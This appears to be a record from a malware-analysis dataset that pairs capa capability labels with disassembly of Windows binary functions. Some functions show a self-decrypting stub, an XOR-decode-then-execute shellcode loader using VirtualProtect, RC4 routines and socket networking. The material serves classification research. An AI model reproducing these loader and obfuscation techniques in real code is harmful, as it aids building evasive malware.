joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40b2d0
Capabilities:
Set console window title

Disassembly:
sub esp, 0x428
mov eax, dword [0x454030]
xor eax, esp
mov dword [esp + 0x424], eax
mov eax, dword [0x2b0f1cc]
push ebx
mov ebx, dword [0x2b0eeec]
push esi
mov esi, dword [0x454f60]
push edi
mov edi, eax
cmp eax, 0x930
jne 0x40b311
push str.duxafodaz
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov eax, dword [0x2b0f1cc]
mov dword [0x2b0eee8], esi
cmp eax, 0x114e
jne 0x40b336
call dword [sym.imp.KERNEL32.dll_SetFileApisToOEM]
lea eax, [esp + 0x14]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
mov eax, dword [0x2b0f1cc]
cmp eax, 0x2f
jne 0x40b364
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsW]
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
push 0
lea eax, [esp + 0x3c]
push eax
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_ReadEventLogA]
push edi
push ebx
call fcn.0040b170
mov ecx, dword [esp + 0x438]
add esp, 8
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040110c
add esp, 0x428
ret
Function at 0x4012eb
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [0x40704c], 1
mov dword [0x407050], 1
mov dword [0x407054], 1
mov dword [ebp - 4], 0x400000
mov eax, dword [ebp - 4]
movzx eax, word [eax]
cmp ax, 0x5a4d
je 0x40132c
mov eax, 0
jmp 0x4013c6
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp - 4]
add eax, edx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
cmp eax, 0x4550
je 0x40134f
mov eax, 0
jmp 0x4013c6
mov eax, dword [ebp - 8]
add eax, 0x18
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
movzx eax, ax
cmp eax, 0x10b
je 0x401371
cmp eax, 0x20b
je 0x401396
jmp 0x4013c1
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x5c]
cmp eax, 0xe
ja 0x401383
mov eax, 0
jmp 0x4013c6
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x4013c6
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x6c]
cmp eax, 0xe
ja 0x4013ae
mov eax, 0
jmp 0x4013c6
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x4013c6
mov eax, 0
leave
ret

Function at 0x4018f0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x24
lea eax, [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov dword [esp], 2
call fcn.00402908
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x1b
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov ebx, dword [ebp - 0xc]
mov dword [esp], 2
call fcn.00402908
mov dword [esp + 8], ebx
mov edx, dword [ebp + 8]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort

Function at 0x4024c4
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
movzx eax, word [eax]
cmp ax, 0x5a4d
je 0x4024e3
mov eax, 0
jmp 0x402527
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp - 4]
add eax, edx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
cmp eax, 0x4550
je 0x402506
mov eax, 0
jmp 0x402527
mov eax, dword [ebp - 8]
add eax, 0x18
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
cmp ax, 0x10b
je 0x402522
mov eax, 0
jmp 0x402527
mov eax, 1
leave
ret
Function at 0x402529
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp + 8]
add eax, edx
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0
mov eax, dword [ebp - 0xc]
movzx eax, word [eax + 0x14]
movzx edx, ax
mov eax, dword [ebp - 0xc]
add eax, edx
add eax, 0x18
mov dword [ebp - 4], eax
jmp 0x402588
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
cmp dword [ebp + 0xc], eax
jb 0x402580
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0xc]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 8]
add eax, edx
cmp dword [ebp + 0xc], eax
jae 0x402580
mov eax, dword [ebp - 4]
jmp 0x40259c
add dword [ebp - 8], 1
add dword [ebp - 4], 0x28
mov eax, dword [ebp - 0xc]
movzx eax, word [eax + 6]
movzx eax, ax
cmp dword [ebp - 8], eax
jb 0x40255d
mov eax, 0
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x40238f
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x208
mov eax, dword [0x42d040]
xor eax, esp
mov dword [esp + 0x204], eax
mov eax, dword [esp + 0x20c]
push ebx
push ebp
push esi
mov esi, dword [esp + 0x220]
mov ebp, 0x100
push edi
xor edi, edi
mov dword [esp + 0x10], eax
mov ecx, edi
mov eax, ecx
mov byte [esp + ecx + 0x14], cl
cdq
idiv dword [esp + 0x228]
mov al, byte [edx + esi]
mov byte [esp + ecx + 0x114], al
inc ecx
cmp ecx, ebp
jl 0x4023c2
mov esi, edi
mov ebx, edi
mov dl, byte [esp + esi + 0x14]
movzx eax, byte [esp + esi + 0x114]
add eax, ebx
movzx ecx, dl
add ecx, eax
mov ebx, ecx
and ebx, 0x800000ff
jns 0x402408
dec ebx
or ebx, 0xffffff00
inc ebx
mov al, byte [esp + ebx + 0x14]
mov byte [esp + esi + 0x14], al
inc esi
mov byte [esp + ebx + 0x14], dl
cmp esi, ebp
jl 0x4023e3
mov ebx, edi
mov ebp, edi
cmp dword [esp + 0x220], ebx
jle 0x402494
inc edi
and edi, 0x800000ff
jns 0x402437
dec edi
or edi, 0xffffff00
inc edi
mov cl, byte [esp + edi + 0x14]
movzx esi, cl
add ebx, esi
and ebx, 0x800000ff
jns 0x402450
dec ebx
or ebx, 0xffffff00
inc ebx
mov al, byte [esp + ebx + 0x14]
mov byte [esp + edi + 0x14], al
push ecx
mov byte [esp + ebx + 0x18], cl
mov ecx, 0x42e098
mov dword [esp], 0x40495270
call fcn.00402081
push eax
call fcn.004019ae
movzx eax, byte [esp + edi + 0x18]
add eax, esi
pop ecx
mov ecx, dword [esp + 0x10]
movzx eax, al
mov al, byte [esp + eax + 0x14]
xor byte [ecx + ebp], al
inc ebp
cmp ebp, dword [esp + 0x220]
jl 0x402426
mov ecx, dword [esp + 0x214]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00405eff
add esp, 0x208
ret

Function at 0x403062
Capabilities:
Encode data using xor

Disassembly:
push esi
xor esi, esi
push edi
mov edi, dword [esp + 0xc]
cmp dword [esp + 0x10], esi
jbe 0x40309f
mov al, byte [edi + esi]
xor al, 0x73
sub al, 0x15
push 0
mov byte [edi + esi], al
call dword [sym.imp.USER32.dll_OpenIcon]
mov al, byte [edi + esi]
sub al, 0x57
xor al, 0x74
add al, 0x4e
xor al, 0x70
sub al, 0x65
xor al, 0x22
sub al, 0x73
xor al, 0x2a
mov byte [edi + esi], al
inc esi
cmp esi, dword [esp + 0x10]
jb 0x403070
pop edi
pop esi
ret

Function at 0x403d0a
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push esi
push edi
push eax
push 0x40
mov edi, 0x4ac
mov esi, 0x47dc20
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push edi
push esi
call fcn.00403062
pop ecx
pop ecx
call fcn.00403048
mov edx, 0x47dc20
add edx, 0x188
mov esi, 0x42f020
push esi
call edx
xor eax, eax
pop edi
pop esi
leave
ret

Function at 0x406b09
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x406b48
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x406b48
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x406b48
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x406b48
cmp dword [ecx + 0x74], 0xe
jbe 0x406b48
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x405690
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
push ebx
push esi
push edi
mov edi, edx
mov esi, ecx
cmp dword [edi], 0
jne 0x4056a7
mov dword [edi], esi
cmp dword [edi + 4], 0
jne 0x4056b4
mov dword [edi + 4], 0x400
mov eax, dword [edi + 8]
or eax, dword [edi + 0xc]
jne 0x4056d3
mov eax, dword [0x451a10]
inc eax
mov dword [0x451a10], eax
mov eax, dword [0x451a10]
cdq
mov dword [edi + 8], eax
mov dword [edi + 0xc], edx
lea eax, [esi + 0xe0]
push eax
mov dword [esp + 0x20], eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esi + 0xcc], 0xffffffff
jne 0x4056fc
mov ecx, esi
call fcn.00405620
test eax, eax
jne 0x4058a0
push 0
push 1
push 0x44ba00
push dword [esi + 0xcc]
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x405740
push str.hloop_post_event
push str._s:_hloop_post_event_failed__n
push 4
call fcn.00408d30
push eax
call fcn.004088b0
add esp, 0x10
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp dword [esi + 0xd8], 0
jne 0x40579b
mov dword [esi + 0xdc], 0
mov dword [esi + 0xd4], 0
mov dword [esi + 0xd8], 0x10
lock inc dword [0x451a14]
push 0x280
call fcn.0042dfe2
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x4058b1
push 0x280
push 0
push ebx
call fcn.00429010
add esp, 0xc
mov dword [esi + 0xd0], ebx
mov ebx, dword [esi + 0xd4]
mov ecx, dword [esi + 0xd8]
cmp ebx, ecx
jne 0x405838
lea edx, [ecx + ecx]
mov eax, 0x10
test edx, edx
cmove edx, eax
lea eax, [ecx + ecx*4]
shl eax, 3
mov dword [esp + 0x10], eax
mov eax, dword [esi + 0xd0]
lea ebx, [edx + edx*4]
mov dword [esp + 0x18], edx
shl ebx, 3
lock inc dword [0x451a14]
test eax, eax
je 0x4057e8
lock inc dword [0x451a18]
push ebx
push eax
call fcn.0042dfed
add esp, 8
mov dword [esp + 0x14], eax
test eax, eax
jne 0x405804
push str.realloc_failed__n
jmp 0x4058b6
mov ecx, dword [esp + 0x10]
cmp ebx, ecx
jbe 0x405820
sub ebx, ecx
add eax, ecx
push ebx
push 0
push eax
call fcn.00429010
mov eax, dword [esp + 0x20]
add esp, 0xc
mov edx, dword [esi + 0xdc]
mov dword [esi + 0xd0], eax
mov eax, dword [esp + 0x18]
mov dword [esi + 0xd8], eax
jmp 0x40586e
mov edx, dword [esi + 0xdc]
lea eax, [edx + ebx]
cmp eax, ecx
jne 0x40586e
mov ecx, dword [esi + 0xd0]
lea eax, [ebx + ebx*4]
shl eax, 3
push eax
lea eax, [edx + edx*4]
lea eax, [ecx + eax*8]
push eax
push ecx
call fcn.00428a90
add esp, 0xc
mov dword [esi + 0xdc], 0
xor edx, edx
mov eax, dword [esi + 0xd4]
movups xmm0, xmmword [edi]
add eax, edx
lea ecx, [eax + eax*4]
mov eax, dword [esi + 0xd0]
movups xmmword [eax + ecx*8], xmm0
movups xmm0, xmmword [edi + 0x10]
movups xmmword [eax + ecx*8 + 0x10], xmm0
movq xmm0, qword [edi + 0x20]
movq qword [eax + ecx*8 + 0x20], xmm0
inc dword [esi + 0xd4]
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push str.malloc_failed__n
push 2
call fcn.0042ae55
add esp, 4
push eax
call fcn.00408190
add esp, 8
push 0xffffffffffffffff
call fcn.0042eb2b
int3
Function at 0x4068a0
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
xor eax, eax
push ebx
push esi
push edi
mov edi, ecx
nop dword [eax]
inc eax
mov dword [ebp - 4], 0x1c
mov dword [ebp - 0x10], eax
lea eax, [ebp - 4]
push eax
push dword [edi + 0x44]
push dword [edi + 0x30]
call dword [sym.imp.WS2_32.dll_accept]
mov ebx, eax
mov dword [ebp - 0xc], ebx
test ebx, ebx
js 0x4069ec
lea eax, [ebp - 4]
mov dword [ebp - 4], 0x1c
push eax
push dword [edi + 0x40]
push ebx
call dword [sym.imp.WS2_32.dll_getsockname]
mov ecx, dword [edi]
mov edx, ebx
call fcn.00406220
mov ecx, dword [edi + 0xb4]
mov esi, eax
mov dword [esi + 0xb4], ecx
mov ecx, dword [edi + 0x14]
mov dword [esi + 0x14], ecx
mov edx, dword [edi + 0xf4]
test edx, edx
je 0x40691b
mov ecx, esi
call fcn.00408090
cmp dword [edi + 0x28], 0x1000000
jne 0x4069bb
cmp dword [esi + 0xf8], 0
jne 0x4069ac
mov ebx, dword [edi + 0xfc]
test ebx, ebx
jne 0x406961
mov ebx, dword [0x451a34]
test ebx, ebx
jne 0x406961
call fcn.0040ae90
or dword [edi + 0x24], 0x8000
mov ebx, eax
mov dword [edi + 0xfc], ebx
test ebx, ebx
je 0x4069e5
push 0xd4
call fcn.0042dfe2
add esp, 4
mov dword [ebp - 8], eax
test eax, eax
je 0x4069de
push eax
call fcn.0040dc30
add esp, 4
lea ecx, [ebx + 0x2e4]
mov ebx, dword [ebp - 8]
push ecx
push ebx
call fcn.0040e190
push 0
push 0x40afa0
push 0x40af60
push dword [ebp - 0xc]
push ebx
call fcn.0040e0c0
add esp, 0x1c
mov dword [esi + 0xf8], ebx
push esi
mov dword [esi + 0x28], 0x1000000
call fcn.00406720
jmp 0x4069c8
mov eax, dword [esi + 0xb4]
test eax, eax
je 0x4069cb
push esi
call eax
add esp, 4
mov eax, dword [ebp - 0x10]
cmp eax, 3
jl 0x4068b0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, 0x412
jmp 0x406a11
mov esi, 0x411
jmp 0x406a11
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov esi, eax
cmp esi, 0x2733
je 0x406a5c
cmp esi, 0x2714
je 0x406a5c
push str.accept
call fcn.0042e467
add esp, 4
push 0
push pe_nt_image_headers32
push 0x451ae0
mov eax, esi
mov dword [edi + 0x34], esi
cdq
push 0
xor eax, edx
sub eax, edx
push eax
push 0
push 0x12ff
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push dword [edi + 0x34]
push 0x451ae0
push dword [edi + 0x30]
push str.nio_accept
push str._s:_listenfd_d_accept_error:__s:_d_n
push 4
call fcn.00408d30
push eax
call fcn.004088b0
add esp, 0x1c
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x406a70
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
mov dword [ebp - 4], 0x1c
lea eax, [ebp - 4]
push eax
push dword [esi + 0x44]
push dword [esi + 0x30]
call dword [sym.imp.WS2_32.dll_getpeername]
test eax, eax
jns 0x406a9a
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x406b0f
lea eax, [ebp - 4]
mov dword [ebp - 4], 0x1c
push eax
push dword [esi + 0x40]
push dword [esi + 0x30]
call dword [sym.imp.WS2_32.dll_getsockname]
cmp dword [esi + 0x28], 0x1000000
jne 0x406b8c
mov eax, dword [esi + 0xf8]
test eax, eax
jne 0x406b6a
mov eax, dword [esi + 0xfc]
test eax, eax
jne 0x406afc
mov eax, dword [0x451a34]
test eax, eax
jne 0x406afc
call fcn.0040ae90
or dword [esi + 0x24], 0x8000
mov dword [esi + 0xfc], eax
test eax, eax
jne 0x406afc
mov eax, 0x411
jmp 0x406b0f
mov edx, dword [esi + 0x30]
mov ecx, eax
call fcn.0040afe0
test eax, eax
jne 0x406b64
mov eax, 0x412
push 0
push pe_nt_image_headers32
mov dword [esi + 0x34], eax
push 0x451ae0
cdq
push 0
xor eax, edx
sub eax, edx
push eax
push 0
push 0x12ff
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push dword [esi + 0x34]
push 0x451ae0
push dword [esi + 0x30]
push str.nio_connect
push str._s:_connfd_d_connect_error:__s:_d_n
push 3
call fcn.00408d30
push eax
call fcn.004088b0
add esp, 0x1c
mov ecx, esi
call fcn.004075c0
pop esi
mov esp, ebp
pop ebp
ret
mov dword [esi + 0xf8], eax
mov ecx, dword [esi + 0x100]
test ecx, ecx
je 0x406b7e
push ecx
push eax
call fcn.0040e0e0
add esp, 8
push esi
call fcn.004067d0
add esp, 4
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, dword [esi + 0xd8]
test ecx, ecx
je 0x406baf
call fcn.004060a0
mov dword [esi + 0xd8], 0
mov dword [esi + 0xbc], 0
or dword [esi + 0x24], 0x10
mov eax, dword [esi + 0xb8]
test eax, eax
je 0x406bc3
push esi
call eax
add esp, 4
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x406bf0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
push edi
mov edi, edx
mov eax, dword [esi + 0x28]
cmp eax, 0x2000
jg 0x406c3e
je 0x406c13
cmp eax, 0x100
je 0x406c13
cmp eax, 0x1000
jne 0x406c4c
mov edx, dword [esi + 0x44]
mov eax, 0x1c
push ebx
mov ebx, 0x10
cmp word [edx], 2
cmove eax, ebx
push eax
push edx
push 0
push dword [ebp + 8]
push edi
push dword [esi + 0x30]
call dword [sym.imp.WS2_32.dll_sendto]
pop ebx
pop edi
pop esi
pop ebp
ret
cmp eax, 0x100000
je 0x406c75
cmp eax, 0x1000000
je 0x406c5f
push dword [ebp + 8]
push edi
push dword [esi + 0x30]
call fcn.004334ee
add esp, 0xc
pop edi
pop esi
pop ebp
ret
push dword [ebp + 8]
push edi
push dword [esi + 0xf8]
call fcn.0040fea0
add esp, 0xc
pop edi
pop esi
pop ebp
ret
push 0
push dword [ebp + 8]
push edi
push dword [esi + 0x30]
call dword [sym.imp.WS2_32.dll_send]
pop edi
pop esi
pop ebp
ret
Function at 0x406fb0
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2c
mov edx, 0x1c
push ebx
push esi
push edi
mov edi, ecx
mov ecx, 0x10
mov esi, dword [edi + 0x44]
cmp word [esi], 2
cmove edx, ecx
push edx
push esi
push dword [edi + 0x30]
call dword [sym.imp.WS2_32.dll_connect]
mov ebx, eax
test ebx, ebx
jns 0x40704c
mov esi, dword [sym.imp.WS2_32.dll_WSAGetLastError]
call esi
cmp eax, 0x2733
je 0x407092
push str.connect
call fcn.0042e467
add esp, 4
call esi
mov ecx, dword [edi]
lea edx, [esp + 0x10]
xorps xmm0, xmm0
mov dword [edi + 0x34], eax
mov eax, dword [edi + 0x2c]
movlpd qword [esp + 0x10], xmm0
movlpd qword [esp + 0x18], xmm0
movlpd qword [esp + 0x2c], xmm0
mov dword [esp + 0x34], 0
mov dword [esp + 0x20], 0x406430
mov dword [esp + 0x24], edi
mov dword [esp + 0x28], eax
call fcn.00405690
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
jne 0x407092
mov eax, dword [edi + 0x2c]
lea edx, [esp + 0x10]
mov ecx, dword [edi]
xorps xmm0, xmm0
movlpd qword [esp + 0x10], xmm0
movlpd qword [esp + 0x18], xmm0
movlpd qword [esp + 0x2c], xmm0
mov dword [esp + 0x34], 0
mov dword [esp + 0x20], 0x406bd0
mov dword [esp + 0x24], edi
mov dword [esp + 0x28], eax
call fcn.00405690
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [edi + 0xbc]
mov ecx, 0x2710
test eax, eax
mov edx, 0x4065e0
push 1
cmovne ecx, eax
push ecx
mov ecx, dword [edi]
call fcn.00405eb0
mov dword [edi + 0xd8], eax
add esp, 8
mov dword [eax + 0x18], edi
mov eax, dword [edi + 0x24]
or eax, 0x80
cmp dword [edi + 0x30], 3
mov dword [edi + 0x24], eax
jge 0x4070d8
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [edi]
test al, 2
jne 0x407114
mov eax, dword [0x451a10]
inc eax
mov dword [0x451a10], eax
mov eax, dword [0x451a10]
cdq
mov dword [edi + 8], eax
mov eax, dword [edi + 0x24]
mov dword [edi + 0xc], edx
mov dword [edi + 0x10], 0x406e00
test al, 2
jne 0x40710e
or eax, 2
mov dword [edi + 0x24], eax
mov eax, dword [edi]
inc dword [eax + 0x40]
inc dword [esi + 0xb8]
test byte [edi + 0x24], 8
jne 0x407121
mov ecx, edi
call fcn.004079b0
test byte [edi + 0x38], 4
mov dword [edi + 0x10], 0x406e00
jne 0x407141
mov edx, dword [edi + 0x30]
mov ecx, esi
push 4
call fcn.00409230
add esp, 4
or dword [edi + 0x38], 4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x408470
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
xor ebx, ebx
push edi
mov edi, edx
test esi, esi
je 0x4084ab
movzx edx, byte [ebp + 0x10]
mov ebx, esi
mov dword [ebp + 8], ebx
sub edi, ecx
mov ebx, dword [ebp + 0xc]
nop
mov eax, edx
lea ecx, [ecx + 1]
and eax, 3
inc edx
mov al, byte [eax + ebx]
xor al, byte [edi + ecx - 1]
mov byte [ecx - 1], al
sub esi, 1
jne 0x408490
mov ebx, dword [ebp + 8]
add bl, byte [ebp + 0x10]
pop edi
and bl, 3
pop esi
mov al, bl
pop ebx
pop ebp
ret

Function at 0x408f60
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov eax, edx
xor esi, esi
push edi
xor edi, edi
mov dword [ebp - 4], eax
mov ebx, ecx
test eax, eax
je 0x40900b
nop word [eax + eax]
mov eax, 0xaaaaaaab
mov ecx, edi
mul edi
shr edx, 1
lea eax, [edx + edx*2]
sub ecx, eax
sub ecx, 0
je 0x408fed
sub ecx, 1
je 0x408fd3
sub ecx, 1
jne 0x409001
movzx ecx, byte [edi + ebx - 1]
movzx eax, byte [edi + ebx]
and ecx, 0xf
shr eax, 6
movzx eax, byte [eax + ecx*4 + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789__]
mov ecx, dword [ebp + 8]
mov byte [esi + ecx], al
movzx eax, byte [edi + ebx]
and eax, 0x3f
movzx eax, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789__]
mov byte [esi + ecx + 1], al
add esi, 2
jmp 0x409001
movzx ecx, byte [edi + ebx - 1]
movzx eax, byte [edi + ebx]
and ecx, 3
add ecx, ecx
shr eax, 4
mov al, byte [eax + ecx*8 + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789__]
jmp 0x408ffa
movzx eax, byte [edi + ebx]
shr eax, 2
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789__]
mov ecx, dword [ebp + 8]
mov byte [esi + ecx], al
inc esi
inc edi
cmp edi, dword [ebp - 4]
jb 0x408f80
dec edi
mov eax, 0xaaaaaaab
mul edi
mov ecx, edi
shr edx, 1
lea eax, [edx + edx*2]
sub ecx, eax
jne 0x409045
movzx ecx, byte [edi + ebx]
mov eax, dword [ebp + 8]
and ecx, 3
shl ecx, 4
pop edi
mov cl, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789__]
mov byte [esi + eax], cl
mov word [esi + eax + 1], 0x3d3d
lea eax, [esi + 3]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ecx, 1
jne 0x40906d
movzx eax, byte [edi + ebx]
mov ecx, dword [ebp + 8]
and eax, 0xf
pop edi
mov al, byte [eax*4 + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789__]
mov byte [esi + ecx], al
lea eax, [esi + 2]
mov byte [esi + ecx + 1], 0x3d
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4097b0
Capabilities:
Convert ip address from string
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1a0
mov eax, dword [0x44e054]
xor eax, esp
mov dword [esp + 0x19c], eax
push esi
push edi
mov edi, edx
mov esi, ecx
test edi, edi
je 0x409897
cmp byte [edi], 0
je 0x409897
mov ecx, 1
mov edx, 0x451a30
xor eax, eax
lock cmpxchg dword [edx], ecx
test eax, eax
jne 0x409805
lea eax, [esp + 0x10]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
lea eax, [esi + 4]
push eax
push edi
push 2
call dword [sym.imp.WS2_32.dll_inet_pton]
cmp eax, 1
jne 0x409824
mov eax, 2
mov word [esi], ax
jmp 0x4098b7
lea eax, [esi + 8]
push eax
push edi
push 0x17
call dword [sym.imp.WS2_32.dll_inet_pton]
cmp eax, 1
jne 0x40983e
mov eax, 0x17
mov word [esi], ax
lea eax, [esp + 0xc]
mov dword [esp + 0xc], 0
push eax
push 0
push 0
push edi
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x4098c6
mov edi, dword [esp + 0xc]
test edi, edi
je 0x4098aa
cmp dword [edi + 0x18], eax
je 0x4098aa
cmp dword [edi + 0x10], eax
je 0x4098aa
mov eax, edi
nop
cmp dword [eax + 4], 2
je 0x40987f
mov eax, dword [eax + 0x1c]
test eax, eax
jne 0x409870
mov eax, edi
push dword [eax + 0x10]
push dword [eax + 0x18]
push esi
call fcn.00428a90
add esp, 0xc
push edi
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
jmp 0x4098aa
mov eax, 2
push 0
mov word [esi], ax
call dword [sym.imp.WS2_32.dll_htonl]
mov dword [esi + 4], eax
movzx eax, word [esi]
cmp eax, 2
je 0x4098b7
cmp eax, 0x17
jne 0x4098c4
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_htons]
mov word [esi + 2], ax
xor eax, eax
mov ecx, dword [esp + 0x1a4]
pop edi
pop esi
xor ecx, esp
call fcn.00427ba1
mov esp, ebp
pop ebp
ret